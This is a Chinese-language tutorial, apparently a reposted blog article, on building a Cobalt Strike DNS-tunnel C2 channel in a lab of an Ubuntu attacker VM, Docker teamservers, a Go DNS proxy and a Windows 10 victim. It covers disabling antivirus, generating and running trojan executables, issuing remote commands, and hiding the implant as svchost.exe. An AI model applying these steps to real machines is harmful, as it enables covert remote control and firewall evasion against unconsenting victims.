Cobalt Strike DNS Beacon使用教程(DNS隧道)
2022-12-17 11:14:2 Author: 渗透安全团队(查看原文) 阅读量:19 收藏

今天教大家使用Cobalt Strike建立DNS隧道

DNS隧道的优点:一种“偷渡”技术,隐蔽性好,在受害主机上不会开放任何端口,可以规避防火墙,并在具有限制性出口控制的网络中建立C2通道DNS隧道的缺点:响应速度慢(假设,你执行一个whoami,几分钟后才会响应回显结果,这可能会使人抓狂),和打游戏的时候 网太卡是一个道理DNS隧道的适用场景:1、需要隐蔽性2、需要绕过限制性网络(例如防火墙)3、不需要很快的响应速度

1.实验运行流

1、Windows 10受害机运行木马,发送DNS请求2、Ubuntu使用Go语音编写的程序,启动DNS服务器,用于接收DNS请求,并将不同CS生成的payload转发到相应的Docker容器当中3、最后,Docker容器中的Cobalt Strike接收到DNS请求,就会和木马建立连接,控制Windows 10机器,也就是我们俗称的“上线”

我画了一个大概的架构图,感觉有点丑,见谅(我没有VIP,所以有水印,原谅我)

本次实验采用 虚拟机+Docker+Golang的形式,不需要云服务器之类的东西

需要用到的一些东西我都放到附件里面了后台回复:“9107获取”

可以自行下载

用于搭建DNS代理,将Ubuntu上的DNS请求转发到Docker中的CS搭建在Ubuntu中,运行Cobalt Strike服务端,也就是teamserver,用于模拟不同的teamserver服务器Ubuntu,作为攻击机,运行Cobalt Strike客户端,用于管理teamserver、生成木马等操作

Windows 10,作为受害机虚拟机DockerGolang你不需要学习Docker或Golang,只需要安装虚拟机、运行命令、会使用鼠标即可

2.1 安装虚拟机

2.1.1 安装虚拟机软件VMware……大家应该都有装吧,这里就不教了(需要教程的话,文末扫码领视频

2.1.2 Windows 10虚拟机(受害机)

提示:如果你的电脑配置较低,带不动2台虚拟机,你可以使用物理机 作为受害机,就不需要额外再装一台虚拟机

Win10的镜像可以到:https://msdn.itellyou.cn/ 进行下载,使用的是迅雷,下载贼快,不用受某盘vip的气

你也可以选择其他版本的Win10,或者使用Win7也可以,不一定要下载我图片中的

镜像下载完成之后,创建Win10虚拟机即可(大家应该都会吧……吧)

配置建议高一点,不然会很卡,我这里分配了3G内存、2个CPU、网络为VMnet8

进入Win10之后,先把自带的杀毒软件Windoes Defender关闭

杀软会把我们的木马给杀掉

由于免杀不在文章的范畴内,所以我这里不做免杀(可以自行尝试)




2.1.3 Ubuntu虚拟机(攻击机)

Ubuntu的镜像可以到:http://old-releases.ubuntu.com/releases/20.04/ 进行下载,不一定要20.04版本的,其它版本的也可以

和Win10一样,也可以用迅雷下载,嘎嘎快,这里直接给出下载链接,粘贴进去即可:http://old-releases.ubuntu.com/releases/20.04/ubuntu-20.04.4-desktop-amd64.iso

进入Ubuntu之后,打开命令行,运行apt安装vim,方便之后操作(可能会提示权限不够,可以使用命令sudo -i提升为root用户)

apt -y install vim



    2.2 安装Java

    由于Cobalt Strike依赖Java,所以我们要在Ubuntu上配置Java环境

    1. cd进入/usr/local/目录

    2. 运行wget命令,下载jdk8压缩包

    3. 解压,并将目录名修改为jdk8,方便操作

    4. 修改/etc/profile配置文件,为jdk配置环境变量

    1. cd /usr/local/

    2. wget https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

    3. tar -xvf jdk-8u202-linux-x64.tar.gz

    4. mv jdk1.8.0_202 jdk8

    5. vim /etc/profile

    6. export JAVA_HOME=/usr/local/jdk8/bin:/usr/local/jdk8/lib:/usr/local/jdk8/jre/bin

    7. export PATH=$PATH:$JAVA_HOME



    • 使用source命令刷新配置文件

    • 运行java,检查是否安装成功

    source /etc/profilejava -version


    2.3 安装Docker

    • 运行apt安装curl,运行curl安装Docker(可能有点慢,需要耐心等待)

    1. apt -y install curl

    2. curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun


    安装完成后,运行命令检查是否安装成功

    docker -v

    2.4 安装Golang

    1. 进入/usr/local/目录

    2. 使用wget命令进行下载

    3. 解压Golang压缩包

    4. 修改/etc/profile,配置Golang环境变量(在配置Java的基础上添加:/usr/local/go/bin即可)

    5. 刷新配置文件,运行go,检查是否成功

    1. cd /usr/local/

    2. wget https://golang.google.cn/dl/go1.19.3.linux-amd64.tar.gz

    3. tar -xvf go1.19.3.linux-amd64.tar.gz

    4. vim /etc/profile

    5. export PATH=$PATH:$JAVA_HOME:/usr/local/go/bin

    6. source /etc/profile

    7. go version




    • 另外,由于Golang默认使用国外的源,导致下载一些模块的时候会非常慢

    • 修改/etc/profile,修改源,改为国内代理

    1. vim /etc/profile

    2. export GO111MODULE=on

    3. export GOPROXY=https://goproxy.cn

    4. source /etc/profile

    3.1 运行CS服务端

    • 我已经将cs打包成了docker镜像(Cobalt Strike4.4 + openjdk8)

    • 请移步文章末尾的附件进行下载

    将docker镜像复制到Ubuntu虚拟机当中

    导入docker镜像,并查看是否导入成功(需要root权限)

    docker load < cs4.4.tardocker images

    使用刚刚导入的镜像,运行2个cs容器

    run,运行一个容器—rm,在退出容器之后,自动清理这个容器—it,给容器一个shell终端,使我们可以和容器进行交互—name,给容器取一个名字 叫cs1-p,映射Ubuntu的2021端口 —> 容器的80端口(该端口用于CS的DNS监听器,DNS使用的是udp协议,而docker默认映射tcp,所以要指定udp协议)-p,映射Ubuntu的50051端口 —> 容器的50050端口cs:open,使用的镜像名称
    docker run --rm -it --name cs1 -p 2021:80/udp -p 50051:50050 cs:opendocker run --rm -it --name cs2 -p 2022:80/udp -p 50052:50050 cs:open

    在2个cs容器当中,进入/usr/local/cs4/目录

    运行teamserver,监听ip为192.168.80.133,密码为123456

    注意,这里的ip是指Ubuntu的ip地址,而不是容器的ip地址

    1. cd /usr/local/cs4/

    2. ./teamserver 192.168.80.133 123456

    查看Ubuntu端口状态,可以看到2021、2022、50051和50052端口

    • 此时端口状态就如同:

    3.2 运行CS客户端

    • 在附件(后台回复:“9107”获取)进行下载,cs4.4版本的压缩包(不知道有没有后门,建议在虚拟机里面运行)

    在物理机上解压cs4.4的压缩包,复制到Ubuntu当中

    Ubuntu在cs4.4目录中打开命令行界面,运行start.sh启动客户端

    连接50051端口的CS(容器cs1)

    用户名@ip(用户名随意填写)Host:填Ubuntu的ip端口用户名(随意填写)密码是在运行teamserver的时候设置的,我这里是123456

    点击左上角的新建连接,连接50052端口的CS(容器cs2)


    连接成功后,你可以点击选项卡,在两个CS之间进行切换

    选择test1,新建一个监听器

    类型为DNS

    域名为zkaq1.com(可以自定义)

    ip为Ubuntu的ip地址,为192.168.80.133

    选择test2,新建一个监听器

    类型为DNS域名为zkaq2.com(也可以自定义,但是要和test1不同,不能重复)ip也是192.168.80.133

    3.3 运行Golang程序(DNS代理)

    • 在附件进行下载,dns_proxy.go

    将dns_proxy.go复制到Ubuntu当中

    进入文件所在目录,运行go mod init zkaq初始化当前目录

    运行go get,获取所需要的第三方包

    1. go mod init zkaq

    2. go get github.com/miekg/dns

    创建proxy.config文件,这是程序的配置文件

    zkaq1.com的所有请求,转发到Ubuntu本地的2021端口,由于Docker端口映射的缘故,该请求最终会被转发到容器cs1的80端口zkaq2.com的所有请求,转发到Ubuntu本地的2022端口,由于Docker端口映射的缘故,该请求最终会被转发到容器cs2的80端口
      zkaq1.com,127.0.0.1:2021zkaq2.com,127.0.0.1:2022

      在运行Go程序之前,由于Ubuntu自带一个dns服务,会占用53端口,所以要提前将其关闭,把53端口空闲出来

      1. systemctl stop systemd-resolved

      2. systemctl disable systemd-resolved

      3. vim /etc/systemd/resolved.conf

      4. ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf




      运行Go程序

      1. go run dns_proxy.go


    在Win10受害机上,ping一下Ubuntu测试网络连通性

    使用nslookup,指定dns服务器为Ubuntu,查询2个域名,如果查询成功,说明Go运行的DNS代理正常


    在Ubuntu中可以看到DNS查询记录,说明DNS运行正常

    如果你的CS和DNS一切正常,但是就是查询不到DNS记录,请查看你的docker容器,2021:80和2022:80端口是否映射为udp协议(步骤3.1的第3步)

    3.4 生成木马

    现在可以生成恶意程序,然后放到受害机里面去执行

    生成cs1的.exe恶意程序



    生成cs2的.exe恶意程序


    将2个恶意程序复制到受害机,然后分别双击运行

    • 记得把杀毒软件都退了,因为这里没有做免杀

      防火墙可以不用理

      小技巧:如果你无法在虚拟机和物理机之间复制文件,可以使用python3在当前目录启动一个http服务器,然后进行下载

    python3 -m http.server --bind 192.168.80.133 2222


    4. 运行这2个程序之后,可以在CS中看到已经有记录了,右键这2条记录,选择Session -> Sleep,修改为1



    5. 等待一段时间,当你看到Go程序中的输出 在2个域名之间反复横跳的时候,就说明成功了,在CS中可以看到主机已经上线

    6. 尝试远程执行系统命令

    7. 虽然能够执行命令,但是前面说过,DNS隧道响应速度比较慢,我这里执行whoami并获得回显结果仅需要1-2秒,但是执行一个net user花费了3-5分钟,是真的慢……所以在实战中,如果没什么特殊情况或要求,尽量不要使用DNS隧道,网卡会把你气死

    在受害机上查找2个进程的端口号,你会发现根本没有,因为DNS隧道在受害机上面不需要监听端口,因此隐蔽性会比较好。再给.exe文件改个常见的名称,例如svchost.exe之类的,就真的很隐蔽了

    3.5 动态更新DNS代理

    如果你想修改配置文件proxy.config,往其中添加一条代理,那你添加完以后就必须重启dns_proxy.go程序,也就是重启DNS代理服务器。重启DNS会中断现有连接,严重的话还可能会丢失记录(丢失这台主机的shell)

    dns_proxy.go程序实现了动态加载配置文件的功能,可以让你在程序运行的同时修改配置,并自动加载新的配置,而不用重新启动(什么?你说我好厉害,写出了那么nb的程序?那当然…不是我写的啦,我这个菜鸡不配)

    运行一个新的容器cs3,启动teamserver,使用客户端进行连接

    新建监听器,这次监听zkaq3.com

    修改配置文件proxy.config,添加zkaq3.com的记录

    运行命令nslookup查询zkaq3.com,提示查询不到

    查询dns_proxy.go进程的PID号,使用kill -10命令通知进程,使其刷新配置。运行kill之后,你会在go程序的输出当中看到 已经重新加载了配置

    这时候再次使用nslookup查询zkaq3.com,已经能够查询到记录,成功


    付费圈子

    欢 迎 加 入 星 球 !

    代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

    进成员内部群

    星球的最近主题和星球内部工具一些展示

    关 注 有 礼

    关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

     还在等什么?赶紧点击下方名片关注学习吧!


    群聊 | 技术交流群-群除我佬

    干货|史上最全一句话木马

    干货 | CS绕过vultr特征检测修改算法

    实战 | 用中国人写的红队服务器搞一次内网穿透练习

    实战 | 渗透某培训平台经历

    实战 | 一次曲折的钓鱼溯源反制

    免责声明
    由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
    好文分享收藏赞一下最美点在看哦

    文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247495058&idx=2&sn=ec861f2c83d88f570cdb80cbae821edf&chksm=c176103df601992bc2d3c8b48dc35c09e09c62d2c015dfadd03062e32a0ae66ef9a2885b705c#rd
    如有侵权请联系:admin#unsafe.sh